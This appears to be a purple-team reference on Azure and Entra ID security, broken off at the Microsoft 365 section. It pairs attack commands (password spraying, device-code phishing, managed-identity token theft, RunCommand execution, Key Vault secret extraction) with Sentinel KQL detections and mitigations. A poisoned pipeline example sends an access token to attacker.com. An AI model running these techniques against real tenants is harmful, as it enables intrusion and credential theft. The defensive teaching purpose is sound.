<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# Azure & Entra ID Security — Ultimate Deep Dive

`[MODE: PURPLE]` — Comprehensive offense-defense coverage for Azure cloud environments.

**Last Updated:** 2026-03-14
**Classification:** Training Reference — Authorized Security Operations
---
## Table of Contents

1. [Entra ID (Azure AD) Fundamentals](#1-entra-id-azure-ad-fundamentals)
2. [Entra ID Attack Surface](#2-entra-id-attack-surface)
3. [Azure RBAC & Privilege Escalation](#3-azure-rbac--privilege-escalation)
4. [Azure Resource Exploitation](#4-azure-resource-exploitation)
5. [Azure Networking Attacks & Defense](#5-azure-networking-attacks--defense)
6. [Azure DevOps & Pipeline Attacks](#6-azure-devops--pipeline-attacks)
7. [Microsoft 365 Attack Surface](#7-microsoft-365-attack-surface)
8. [Post-Exploitation & Persistence](#8-post-exploitation--persistence)
9. [Tooling Reference](#9-tooling-reference)
10. [Detection Engineering with Sentinel KQL](#10-detection-engineering-with-sentinel-kql)
11. [Incident Response for Azure](#11-incident-response-for-azure)
12. [Hardening & Architecture](#12-hardening--architecture)
---
## 1. Entra ID (Azure AD) Fundamentals

### 1.1 Identity Architecture

Entra ID is Microsoft's cloud identity and access management service. Unlike on-premises Active Directory, it uses flat structures (no OUs, no forests in the traditional sense) and relies on OAuth 2.0/OIDC/SAML protocols rather than Kerberos/NTLM.

**Core Objects:**

| Object | Description | Security Relevance |
|--------|-------------|-------------------|
| **Users** | Human identities (cloud-only or synced from on-prem AD) | Password spray targets, PRT holders |
| **Groups** | Security or M365 groups; can be dynamic or assigned | Dynamic group abuse for privesc |
| **App Registrations** | Application definitions (templates) in home tenant | Credential injection, permission abuse |
| **Service Principals** | Local instance of an app in a tenant (the "enterprise app") | Persistence via credential addition |
| **Managed Identities** | Credential-free identities for Azure resources | Token theft via IMDS |
| **Devices** | Entra-joined, hybrid-joined, or registered devices | PRT extraction targets |
| **Administrative Units** | Scoped administrative boundaries | Scope restriction bypass |
| **Conditional Access Policies** | Context-based access controls | Bypass via legacy auth, device spoofing |

### 1.2 Application & Service Principal Model

**[CONFIRMED]** Understanding the app model is critical for Azure security:

- **Application Object** — Global definition in the home tenant. Acts as a template. One-to-one with the software application.
- **Service Principal (Application type)** — Local instance created in each tenant where the app is used. Inherits properties from the app object. Created upon registration or admin/user consent.
- **Service Principal (Managed Identity type)** — Represents a managed identity. Cannot be directly modified. No associated app object.
- **Service Principal (Legacy type)** — Pre-app-registration era apps. Can have credentials and properties but no app registration.

**Permission Types:**

| Type | Description | Risk Level |
|------|-------------|-----------|
| **Delegated** | Act on behalf of signed-in user; scoped to user's access | Medium — constrained by user context |
| **Application** | Act as the app itself with no user context; often tenant-wide | Critical — no user boundary |

**Consent Framework:**

- **User consent** — Individual user grants delegated permissions to an app
- **Admin consent** — Admin grants permissions tenant-wide (delegated or application)
- **Illicit consent grant** — Attacker creates malicious app, tricks user/admin into consenting (T1566 phishing vector)

### 1.3 Managed Identities

**System-assigned:**
- Tied to lifecycle of the Azure resource (VM, Function App, etc.)
- One identity per resource
- Deleted when resource is deleted
- Service principal name matches resource name

**User-assigned:**
- Independent lifecycle — must be explicitly deleted
- Can be shared across multiple resources
- Created as standalone Azure resource
- Recommended type for most scenarios

**Token Acquisition:**
```bash
# From within an Azure VM or resource with managed identity
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```

**Security Considerations:**
- Tokens are accessible to any code running on the resource
- No credential rotation needed (handled by Azure)
- Can be used as Federated Identity Credentials (FIC) on Entra ID apps
- Limit of 20 FICs when using managed identities on an Entra ID app

### 1.4 Primary Refresh Token (PRT)

**[CONFIRMED]** The PRT is a key artifact for Entra ID authentication on devices.

**What a PRT does:**
- Enables SSO across all applications on a device
- Used to acquire access tokens and refresh tokens
- Carries device and user claims for Conditional Access evaluation
- Valid for 90 days, renewed every 4 hours

**PRT Types:**
- **Registered device PRTs** — Bound to a device with an Entra identity; satisfies device-based CA policies
- **Unregistered device PRTs** — Bound to a device without Entra identity; uses on-device key pair

**How PRT is Protected:**
- **Device key (dkpub/dkpriv)** — Generated during device registration; private key stored in TPM
- **Transport key (tkpub/tkpriv)** — Used to encrypt session keys; private key in TPM
- **Session key** — Proof-of-Possession key; encrypted with transport key; used to sign all token requests
- TPM 2.0 binding prevents extraction (when available and functioning)

**PRT Issuance Scenarios (Windows):**
1. **Entra joined / Hybrid joined** — Issued during Windows sign-in with org credentials
2. **Entra registered** — Issued when user adds secondary work account

**MFA Claim on PRT:**
- Windows Hello for Business login automatically gets MFA claim (extends continuously)
- MFA during WAM interactive sign-in imprints MFA claim (time-limited per directory setting)
- Partitioned PRTs per credential type (password, WHfB, smart card)

**PRT Attack Vectors (T1528 — Steal Application Access Token):**

| Attack | Method | Mitigation |
|--------|--------|-----------|
| **Pass-the-PRT** | Extract PRT cookie from device, replay to cloud services | TPM 2.0 binding, device compliance policies |
| **PRT cookie theft** | Intercept `x-ms-RefreshTokenCredential` header from browser | Enforce phishing-resistant auth (FIDO2) |
| **Session key extraction** | Dump session key from memory on non-TPM devices | Require TPM, Windows Hello for Business |
| **Mimikatz PRT extraction** | `sekurlsa::cloudap` to dump PRT from LSASS | Credential Guard, LSA protection |

**PRT Invalidation Triggers:**
- User deleted or disabled in Entra ID
- Device deleted or disabled
- Password change (PRT obtained via password)
- TPM failure

**DETECTION OPPORTUNITIES:**
```kql
// Detect PRT usage from unusual locations
SigninLogs
| where AuthenticationProcessingDetails has "Primary Refresh Token"
| where LocationDetails.city !in ("expected_city1", "expected_city2")
| project TimeGenerated, UserPrincipalName, LocationDetails, DeviceDetail, RiskLevel
```
---
## 2. Entra ID Attack Surface

### 2.1 Reconnaissance & Enumeration

#### 2.1.1 Unauthenticated Reconnaissance

**Tenant Discovery:**
```bash
# Check if domain uses Entra ID (no auth required)
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
# NameSpaceType = "Managed" → Entra ID tenant
# NameSpaceType = "Federated" → ADFS/federation

# Get tenant ID
curl "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"

# Enumerate tenant ID from domain
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" | jq '.token_endpoint'
```

**User Enumeration:**
- `o365creeper` — Validates email addresses against O365
- `o365spray` — Username enumeration and password spraying
- ActiveSync/Autodiscover-based validation (Office 365 User Enumeration)

**Subdomain Enumeration:**
```powershell
# MicroBurst
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose
# Discovers: *.blob.core.windows.net, *.azurewebsites.net, *.database.windows.net, etc.
```

**ATT&CK:** T1589 (Gather Victim Identity Information), T1590 (Gather Victim Network Information)

#### 2.1.2 Authenticated Enumeration

**AzureAD PowerShell:**
```powershell
# Connect
Connect-AzureAD

# Enumerate all users
Get-AzureADUser -All $true

# Enumerate all groups
Get-AzureADGroup -All $true

# Enumerate devices
Get-AzureADDevice -All $true

# Find Global Admins
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember

# Enumerate app registrations
Get-AzureADApplication -All $true

# Enumerate service principals
Get-AzureADServicePrincipal -All $true
```

**Az PowerShell:**
```powershell
Connect-AzAccount

# List resources
Get-AzResource

# Role assignments
Get-AzRoleAssignment

# VMs, Web Apps, Storage, Key Vault
Get-AzVM
Get-AzWebApp
Get-AzFunctionApp
Get-AzStorageAccount
Get-AzKeyVault
```

**ROADtools (roadrecon):**
```bash
# Authenticate
roadrecon auth -u user@target.com -p 'password'
# Or with access token
roadrecon auth --access-token $TOKEN

# Gather all Azure AD data into SQLite database
roadrecon gather

# Launch web GUI for analysis
roadrecon gui

# Offline analysis — no further API calls needed
```

ROADtools dumps the entire Azure AD graph to a local SQLAlchemy-backed database for offline analysis. Key capabilities:
- User, group, application, service principal enumeration
- Permission and role mapping
- Visual relationship exploration via Angular UI
- Plugin-based output formatting

**roadtx (Token eXchange):**
```bash
# Multiple authentication flows
# Device registration operations
# PRT handling
# Token type conversions
pip install roadtx
```

**AzureHound / BloodHound:**
```powershell
# Enumerate attack paths
Invoke-AzureHound -Verbose

# Cypher query for Key Vault access paths
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
```

**Stormspotter:**
- Graphs Azure AD and Azure resource relationships
- Neo4j visualization of attack paths
- Backend/collector architecture

**SkyArk:**
```powershell
# Discover privileged users and "Shadow Admins"
Import-Module SkyArk
Start-AzureStealth
# Or
Scan-AzureAdmins
```

**DETECTION OPPORTUNITIES:**
```kql
// Detect mass enumeration via Graph API
AuditLogs
| where OperationName in ("List users", "List groups", "List applications", "List servicePrincipals")
| summarize count() by InitiatedBy.user.userPrincipalName, bin(TimeGenerated, 5m)
| where count_ > 50
```

### 2.2 Initial Access — Credential Attacks

#### 2.2.1 Password Spraying

**ATT&CK:** T1110.003 (Brute Force: Password Spraying)

```powershell
# MSOLSpray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2026!" -Verbose

# o365spray (Python)
python3 o365spray.py --spray -U users.txt -P passwords.txt --rate 1
```

**Rate Limiting:** Entra ID Smart Lockout defaults — 10 attempts before lockout, 60-second reset. Spray at 1 password per 60+ minutes to avoid detection.

**MFA Detection:**
```powershell
# MFASweep — detect MFA across Microsoft services
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Password123"
# Tests: EWS, ActiveSync, ADFS, Graph, Azure Management, etc.
```

**DETECTION OPPORTUNITIES:**
```kql
// Password spray detection
SigninLogs
| where ResultType == "50126"  // Invalid username or password
| summarize FailureCount=count(), DistinctUsers=dcount(UserPrincipalName) by IPAddress, bin(TimeGenerated, 10m)
| where DistinctUsers > 10 and FailureCount > 20
```

#### 2.2.2 Device Code Phishing

**ATT&CK:** T1566 (Phishing), T1528 (Steal Application Access Token)

The device code flow is designed for input-constrained devices. Attackers abuse it for phishing:

1. Attacker initiates device code flow:
```http
POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode
Content-Type: application/x-www-form-urlencoded
Client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default offline_access
```

2. Receives `user_code` and `verification_uri` (https://microsoft.com/devicelogin)
3. Sends `user_code` to victim via phishing email/message
4. Victim authenticates at legitimate Microsoft URL — appears trustworthy
5. Attacker polls `/token` endpoint and receives tokens:
```http
POST https://login.microsoftonline.com/common/oauth2/v2.0/token
Content-Type: application/x-www-form-urlencoded
Grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<device_code>
```

**Why it works:** The victim authenticates at a legitimate Microsoft URL, and MFA is completed by the victim. The attacker receives the tokens without ever seeing the victim's password.

**DETECTION OPPORTUNITIES:**
```kql
// Detect device code flow usage
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| where AppDisplayName !in ("expected_device_code_apps")
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, LocationDetails
```

**Mitigation:** Block device code flow in Conditional Access (Authentication Flows condition, available in preview).

#### 2.2.3 Adversary-in-the-Middle (AiTM) Phishing

**ATT&CK:** T1557 (Adversary-in-the-Middle), T1539 (Steal Web Session Cookie)

**Reverse Proxy AiTM (EvilGinx, Modlishka, EvilProxy):**
1. Deploy reverse proxy between user and legitimate login.microsoftonline.com
2. Proxy relays all requests/responses in real-time
3. Captures credentials AND session cookies
4. Session cookies bypass MFA — they contain MFA claims

**Synchronous Relay AiTM:**
1. Fake sign-in page captures credentials and MFA codes
2. Relays them in real-time to legitimate service
3. Intercepts and stores resulting session cookies

**Mitigations:**
- FIDO2 security keys (phishing-resistant — origin-bound, cannot be proxied)
- Windows Hello for Business
- Certificate-based authentication
- Token protection / Conditional Access session controls
- Conditional Access requiring compliant devices

**DETECTION OPPORTUNITIES:**
```kql
// AiTM detection — session cookie replay from different IP
SigninLogs
| where ResultType == 0
| summarize IPs=make_set(IPAddress), Locations=make_set(LocationDetails.city) by UserPrincipalName, CorrelationId
| where array_length(IPs) > 1
```

#### 2.2.4 Illicit Consent Grant

**ATT&CK:** T1550.001 (Use Alternate Authentication Material: Application Access Token)

Attack flow:
1. Attacker registers a multi-tenant app with permissions like `Mail.Read`, `Files.ReadWrite.All`
2. Crafts phishing URL: `https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<app_id>&response_type=code&scope=Mail.Read+Files.ReadWrite.All+offline_access`
3. Victim clicks URL, sees Microsoft consent prompt, grants access
4. Attacker receives authorization code, exchanges for access/refresh tokens
5. Attacker reads victim's email, downloads files using delegated permissions

**DETECTION OPPORTUNITIES:**
```kql
// Detect consent grants
AuditLogs
| where OperationName == "Consent to application"
| extend ConsentType = tostring(parse_json(tostring(TargetResources[0].modifiedProperties))[0].newValue)
| project TimeGenerated, InitiatedBy, TargetResources[0].displayName, ConsentType
```

### 2.3 Entra Connect (Azure AD Connect) Attacks

**ATT&CK:** T1003 (OS Credential Dumping), T1021 (Remote Services)

Entra Connect syncs on-premises AD to Entra ID. It creates a highly privileged sync service account.

#### 2.3.1 MSOL Service Account Credential Extraction

The Entra Connect server stores credentials for the MSOL service account (which has DCSync rights in on-prem AD) in an encrypted database.

```powershell
# adconnectdump — extract MSOL credentials
# Requires admin access to the Entra Connect server

# Method 1: Direct database extraction
python3 adconnectdump.py domain.local/admin:password@AADC-SERVER

# Method 2: azuread_decrypt_msol_v2.ps1
# Decrypts MSOL service account password from ADSync database
Import-Module azuread_decrypt_msol_v2.ps1
```

**Impact:** With MSOL credentials, attacker can perform DCSync against on-premises AD, extracting all password hashes including KRBTGT.

#### 2.3.2 Seamless SSO Silver Ticket

If Seamless SSO is enabled, a computer account `AZUREADSSOACC` is created in on-prem AD. Its Kerberos key can forge silver tickets for cloud access.

#### 2.3.3 Sync Rule Manipulation

Compromised sync admin can modify sync rules to:
- Alter user attributes during sync
- Create privileged accounts in cloud
- Bypass on-prem security controls

**DETECTION OPPORTUNITIES:**
```kql
// Monitor Entra Connect sync activity
AuditLogs
| where OperationName has "sync" or InitiatedBy.app.displayName == "Azure AD Connect"
| where OperationName !in ("expected_sync_operations")
```

### 2.4 Conditional Access Bypass Techniques

**ATT&CK:** T1556 (Modify Authentication Process)

| Bypass Technique | Description | Prerequisite |
|-----------------|-------------|-------------|
| **Legacy authentication** | POP3, IMAP, SMTP, EAS don't support MFA | Legacy auth not blocked |
| **Trusted location abuse** | Auth from whitelisted IP ranges | Knowledge of trusted IPs |
| **Device compliance spoofing** | Present fake device compliance claims | Weak device compliance checks |
| **User agent manipulation** | Spoof platform/browser to avoid platform-specific policies | Policy only targets specific platforms |
| **Service principal auth** | SPs may not be covered by user-targeted CA policies | CA policies don't target workload identities |
| **Token replay** | Stolen session token replayed from different context | Token without device binding |
| **Emergency access abuse** | Break-glass accounts often excluded from CA | Compromise of emergency accounts |

**Legacy Authentication Block (Critical Control):**

Legacy clients include: SMTP, Autodiscover, Exchange Online PowerShell, EWS, IMAP4, MAPI/HTTP, OAB, Outlook Anywhere, POP3, Reporting Web Services.

These do NOT support MFA and bypass Conditional Access grant controls requiring MFA or compliant devices.

**CAPSlock (SpecterOps):**
Offline tool for analyzing Conditional Access policy interactions and gaps. Addresses the challenge that "Conditional Access is powerful but hard to reason about once policies start to overlap."

### 2.5 Dynamic Group Abuse

**ATT&CK:** T1098 (Account Manipulation)

Dynamic groups auto-populate based on user/device attribute rules. If an attacker can modify their own attributes to match a rule, they gain membership in privileged groups.

```
# Example dynamic group rule
(user.department -eq "IT Admins") -and (user.accountEnabled -eq true)

# If attacker can set their department to "IT Admins" via self-service profile or Graph API...
```

**Exploitation:**
1. Enumerate dynamic group membership rules
2. Identify attributes the user can self-modify (e.g., department, jobTitle)
3. Modify attributes to match high-privilege group rules
4. Wait for dynamic evaluation (can be minutes)
5. Inherit all permissions/roles assigned to the group

### 2.6 Administrative Units

Administrative Units (AUs) provide scoped administration. An admin scoped to an AU can only manage objects within that AU.

**Attack considerations:**
- Restricted Management AUs prevent even Global Admins from managing contained objects
- Can be abused to hide objects from tenant-wide administrators
- Scoped role assignments may create unexpected privilege boundaries

### 2.7 FOCI (Family of Client IDs)

**[CONFIRMED]** Microsoft uses a concept of "Family of Client IDs" — trusted first-party apps that can exchange tokens between each other. A refresh token obtained for one FOCI app can be exchanged for tokens to other FOCI apps.

**Implication:** Compromising a token for any FOCI app (e.g., Microsoft Teams) can grant access to other Microsoft services (e.g., Outlook, OneDrive) without additional authentication.
---
## 3. Azure RBAC & Privilege Escalation

### 3.1 Azure RBAC Architecture

**[CONFIRMED]** Azure RBAC is built on Azure Resource Manager and uses an additive permission model.

**Role Assignment = Security Principal + Role Definition + Scope**

**Scope Hierarchy (parent-child inheritance):**
```
Management Group
  └── Subscription
        └── Resource Group
              └── Resource
```

Permissions assigned at a parent scope are inherited by all child scopes.

**How Access is Evaluated:**
1. Token acquired with group memberships
2. Deny assignments checked first — if match, access blocked
3. Role assignments evaluated at requested scope
4. Effective permissions = `Actions - NotActions` (management plane) and `DataActions - NotDataActions` (data plane)
5. Conditions evaluated if present

### 3.2 Key Built-in Roles

| Role | Scope | Risk |
|------|-------|------|
| **Owner** | Full control including role assignment | Critical — can grant any role |
| **Contributor** | Create/modify resources, no role assignment | High — code execution on VMs |
| **Reader** | View-only access | Medium — info disclosure |
| **User Access Administrator** | Manage role assignments only | Critical — can grant Owner |
| **Virtual Machine Contributor** | Manage VMs | High — RunCommand = code exec |
| **Key Vault Secrets Officer** | Manage secrets | High — credential access |
| **Storage Blob Data Owner** | Full blob access | High — data exfiltration |

### 3.3 Classic Administrator Roles (Legacy)

| Role | Description |
|------|-------------|
| **Account Administrator** | Billing owner, can manage subscriptions |
| **Service Administrator** | Maps to Owner at subscription scope |
| **Co-Administrator** | Maps to Owner at subscription scope |

**[CONFIRMED]** These legacy roles still exist and can be abused if not properly managed. Service Administrator and Co-Administrator have equivalent access to Owner.

### 3.4 Privilege Escalation Paths

#### 3.4.1 Entra ID to Azure RBAC Escalation

```powershell
# Global Administrator can elevate to User Access Administrator over all Azure subscriptions
# PowerZure
Set-AzureElevatedPrivileges
# This makes a Graph API call to elevate GA → User Access Administrator at root scope
# Cannot use service principals — must be logged in as GA
```

This is a built-in Microsoft feature designed for break-glass scenarios but is frequently abused.

#### 3.4.2 Custom Role Abuse

Custom roles with wildcard actions or overly broad permissions:
```json
{
  "Name": "Custom VM Manager",
  "Actions": [
    "Microsoft.Compute/*",
    "Microsoft.Authorization/roleAssignments/write"  // DANGEROUS
  ]
}
```

The `Microsoft.Authorization/roleAssignments/write` permission allows the role holder to assign any role to any principal — escalation to Owner.

#### 3.4.3 Subscription Takeover

If an Azure subscription is moved to a different tenant, existing role assignments are deleted but:
- Classic administrator roles may persist
- Managed identity assignments at the resource level persist
- Resources with connection strings/SAS tokens remain accessible

#### 3.4.4 Managed Identity Privilege Escalation

If a managed identity has excessive RBAC permissions, any code running on that resource can assume those permissions:

```bash
# From compromised Azure VM with system-assigned managed identity
TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r '.access_token')

# Use token to enumerate/modify Azure resources
curl -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"
```

**PowerZure Enumeration:**
```powershell
# Discover managed identities
Get-AzureManagedIdentity

# Check PIM assignments
Get-AzurePIMAssignment

# Find roles with specific permissions
Get-AzureRolePermission -Permission "Microsoft.Authorization/roleAssignments/write"
```

**DETECTION OPPORTUNITIES:**
```kql
// Detect elevation of Global Admin to User Access Administrator
AuditLogs
| where OperationName == "Elevate access"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, Result

// Detect new role assignments
AzureActivity
| where OperationNameValue == "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE"
| project TimeGenerated, Caller, Properties
```
---
## 4. Azure Resource Exploitation

### 4.1 Virtual Machines

#### 4.1.1 Run Command (T1059 — Command and Scripting Interpreter)

Azure VMs support `RunCommand` — native code execution via the Azure control plane. Requires Contributor role or higher on the VM.

```powershell
# PowerZure
Invoke-AzureRunCommand -VMName AzureWin10 -Command "whoami"

# Az PowerShell
Invoke-AzVMRunCommand -ResourceGroupName "RG" -VMName "VM" -CommandId "RunPowerShellScript" -ScriptString "whoami"

# Az CLI
az vm run-command invoke -g RG -n VM --command-id RunPowerShellScript --scripts "whoami"
```

#### 4.1.2 Custom Script Extension (T1059)

Leaves fewer logs than RunCommand:
```powershell
# PowerZure
Invoke-AzureCustomScriptExtension -VMName AzureWin10 -Command "whoami" -ResourceGroup "RG"
```

#### 4.1.3 MSBuild Execution

Execute arbitrary payloads via MSBuild (.NET 4.0 default on Windows):
```powershell
# Runs as SYSTEM — requires Contributor role
Invoke-AzureRunMSBuild -VMName AzureWin10 -File 'C:\temp\build.xml'
```

#### 4.1.4 Binary Upload & Execution

```powershell
# Base64-encodes binary, uploads, decodes, and executes on target VM
Invoke-AzureRunProgram -VMName AzureWin10 -File C:\temp\beacon.exe
```

#### 4.1.5 VM UserData Command Channel

```powershell
# Deploy persistent agent that polls IMDS userdata every 60 seconds
Invoke-AzureVMUserDataAgent -VMName AzureWin10

# Send commands through userdata — minimal logging
Invoke-AzureVMUserDataCommand -VMName AzureWin10 -Command "whoami"
```

#### 4.1.6 VM Disk Exfiltration

```powershell
# Generate 24-hour download link for VM disk (VM must be powered off)
Get-AzureVMDisk -DiskName "OsDisk_name"
```

**DETECTION OPPORTUNITIES:**
```kql
// Detect RunCommand execution
AzureActivity
| where OperationNameValue == "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION"
| project TimeGenerated, Caller, ResourceGroup, Properties

// Detect Custom Script Extension
AzureActivity
| where OperationNameValue has "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE"
| project TimeGenerated, Caller, Properties
```

### 4.2 Storage Accounts

#### 4.2.1 Public Blob Storage Discovery

```powershell
# MicroBurst — anonymous enumeration
Invoke-EnumerateAzureBlobs -Base "targetcompany"

# BlobHunter — scan for public blob storage
python3 BlobHunter.py

# Grayhat Warfare — search engine for open blobs
# https://buckets.grayhatwarfare.com/
```

#### 4.2.2 SAS Token Abuse

Shared Access Signatures (SAS) provide delegated access. Misconfigured SAS tokens with excessive permissions or long expiry are common findings.

```powershell
# PowerZure — enumerate storage contents
Show-AzureStorageContent -StorageAccountName "targetaccount" -All

# Download specific content
Get-AzureStorageContent -StorageAccountName "acct" -Type Blob -ContainerName "data" -Blob "secrets.txt"
```

#### 4.2.3 Storage Account Key Access

Storage account keys provide full access to all data in the account. If an attacker obtains these keys, they have unrestricted access.

**DETECTION OPPORTUNITIES:**
```kql
// Detect storage account key listing
AzureActivity
| where OperationNameValue == "MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION"
| project TimeGenerated, Caller, ResourceGroup
```

### 4.3 Key Vault

#### 4.3.1 Secret Extraction

```powershell
# PowerZure — list vault contents
Show-AzureKeyVaultContent -Name "VaultName" -All

# Extract secrets (modifies access policies to enable download)
Get-AzureKeyVaultContent -VaultName "VaultName"

# Export keys (PEM) or certificates (PFX)
Export-AzureKeyVaultContent -VaultName "VaultTest" -Type Key -Name "Testkey" -OutFilePath C:\Temp
```

#### 4.3.2 Access Policy Manipulation

If an attacker has sufficient permissions, they can add their own identity to the Key Vault access policy → extract secrets:

```powershell
# Add self to vault access policy
Set-AzKeyVaultAccessPolicy -VaultName "vault" -UserPrincipalName "attacker@domain.com" -PermissionsToSecrets get,list
```

**DETECTION OPPORTUNITIES:**
```kql
// Key Vault access monitoring
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "SecretList", "KeyGet", "CertificateGet")
| project TimeGenerated, CallerIPAddress, identity_claim_upn_s, OperationName, ResultType

// Key Vault policy changes
AzureActivity
| where OperationNameValue == "MICROSOFT.KEYVAULT/VAULTS/WRITE"
| where Properties has "accessPolicies"
```

### 4.4 Azure Functions & App Service

#### 4.4.1 Function App Token Theft

Azure Functions with managed identities expose tokens via IMDS:
```bash
# From within compromised function
curl -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"
```

#### 4.4.2 App Service Source Code Exposure

Historical vulnerability: Azure App Service exposed source code repositories of customer applications. Always verify `.git` directories and deployment artifacts are not publicly accessible.

#### 4.4.3 Kudu Console Access

If an attacker has Contributor access to an App Service, they can access the Kudu debug console (`https://appname.scm.azurewebsites.net`) for code execution and environment variable access.

### 4.5 Azure Kubernetes Service (AKS)

**Attack Surface:**
- Misconfigured RBAC (cluster-admin binding to default service accounts)
- Exposed Kubernetes dashboard
- Container escape to node → node managed identity token theft
- Azure CNI networking exposes pods to VNet resources
- Kubelet API access from compromised pods

**Token Theft from AKS:**
```bash
# From within a pod with a mounted service account
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# From node — Azure managed identity
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```

### 4.6 Automation Accounts

#### 4.6.1 RunAs Account Certificate Extraction

```powershell
# PowerZure — extract RunAs certificate
Get-AzureRunAsCertificate
# Creates a runbook that gathers the RunAs certificate and writes it as base64 to job output
# Default: RunAs accounts are Contributors over the entire subscription

# Discover RunAs accounts
Get-AzureRunAsAccount
```

#### 4.6.2 Runbook-Based Execution

```powershell
# Execute command via Automation Account RunAs credentials
Invoke-AzureCommandRunbook -AutomationAccount "TestAccount" -VMName "Win10Test" -Command "whoami"

# Extract runbook content for secrets/credentials review
Get-AzureRunbookContent -All -OutFilePath 'C:\temp'

# Start existing runbook
Start-AzureRunbook -Account "AutoAccount" -Runbook "TestRunbook"
```

**DETECTION OPPORTUNITIES:**
```kql
// Detect Automation Account runbook creation/modification
AzureActivity
| where OperationNameValue has "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS"
| project TimeGenerated, Caller, OperationNameValue, Properties
```
---
## 5. Azure Networking Attacks & Defense

### 5.1 Network Security Groups (NSGs)

**Common Misconfigurations:**
- Inbound `Any/Any` rules (effectively no firewall)
- Overly broad source IP ranges (0.0.0.0/0 to management ports)
- SSH/RDP exposed to internet
- Missing NSG on subnets (default allow-all)
- NSG rules not applied to both subnet AND NIC level

**Enumeration:**
```powershell
# List all NSGs and their rules
Get-AzNetworkSecurityGroup | ForEach-Object {
    $_.Name
    $_.SecurityRules | Format-Table Name, Direction, Access, SourceAddressPrefix, DestinationPortRange
}
```

### 5.2 Private Link & Service Endpoints

**Service Endpoints:**
- Extend VNet identity to Azure services (Storage, SQL, Key Vault)
- Traffic stays on Azure backbone
- Service-side firewall rules limit access to specific VNets
- **Risk:** If VNet is compromised, attacker can access services through endpoint

**Private Link / Private Endpoints:**
- Create private IP in your VNet for Azure PaaS service
- Traffic never leaves Microsoft's network
- DNS integration required (can be complex)
- **Risk:** DNS misconfiguration can cause traffic to go to public endpoint

### 5.3 Azure Firewall & WAF

**Azure Firewall attack surface:**
- Misconfigured application rules allowing command & control traffic
- DNAT rules exposing internal services
- Threat intelligence bypass via encrypted traffic
- Rule collection priority misunderstanding (allow before deny)

**WAF (Application Gateway / Front Door):**
- OWASP CRS rule set evasion
- Custom rule bypass
- Rate limiting configuration gaps

### 5.4 Virtual Network Peering

**Attack consideration:** VNet peering is non-transitive by default but can be configured for gateway transit. Compromising one peered VNet does NOT automatically grant access to other peered VNets' resources (unless routing is configured).

### 5.5 DNS Security

- Azure Private DNS zones can be misconfigured to resolve internal names publicly
- DNS exfiltration through Azure DNS recursive resolution
- Custom DNS server poisoning in VNet settings
---
## 6. Azure DevOps & Pipeline Attacks

### 6.1 Service Connection Abuse

**ATT&CK:** T1199 (Trusted Relationship), T1552 (Unsecured Credentials)

Azure DevOps pipelines use Service Connections (backed by service principals) to deploy to Azure. These are high-value targets.

**Attack vectors:**
1. **Credential extraction from pipeline variables** — Service principal secrets stored in variable groups
2. **Service connection token theft** — Access token available during pipeline execution
3. **Cross-pipeline service connection abuse** — Service connections usable outside intended pipelines (if not restricted)

### 6.2 Pipeline Injection

```yaml
# Poisoned pipeline — inject malicious steps
trigger:
  - main
Steps:
  - script: |
      # Legitimate build step
Npm install && npm build
  - script: |
      # Injected — exfiltrate service connection token
Curl -H "Authorization: Bearer $(System.AccessToken)" \
        "https://dev.azure.com/org/_apis/serviceendpoint/endpoints" \
        | curl -X POST -d @- https://attacker.com/collect
```

### 6.3 Variable Group Secret Extraction

Pipeline variables and variable groups can contain secrets. With sufficient permissions:
```bash
# List variable groups via Azure DevOps REST API
az devops invoke --area distributedtask --resource variablegroups \
  --route-parameters project="ProjectName" --query-parameters api-version=6.0
```

### 6.4 Build Artifact Poisoning

Compromise build artifacts to inject malicious code into deployment packages. Supply chain attack vector.

**Mitigations:**
- Use managed identities instead of service principal secrets
- Restrict service connection usage to specific pipelines
- Enable audit logging for Azure DevOps
- Implement branch protection and required reviewers
- Use OIDC-based federated credentials for pipeline authentication
- Secret scanning in repositories

**DETECTION OPPORTUNITIES:**
```kql
// Monitor Azure DevOps audit logs (if forwarded to Sentinel)
AzureDevOpsAuditing
| where OperationName in ("Token.PersonalAccessTokenAccess", "Pipeline.PipelineModified")
| project TimeGenerated, ActorUPN, OperationName, Details
```
---
## 7. Microsoft 365 Attack Surface

### 7.1 Exchange Online

**Attack Vectors:**

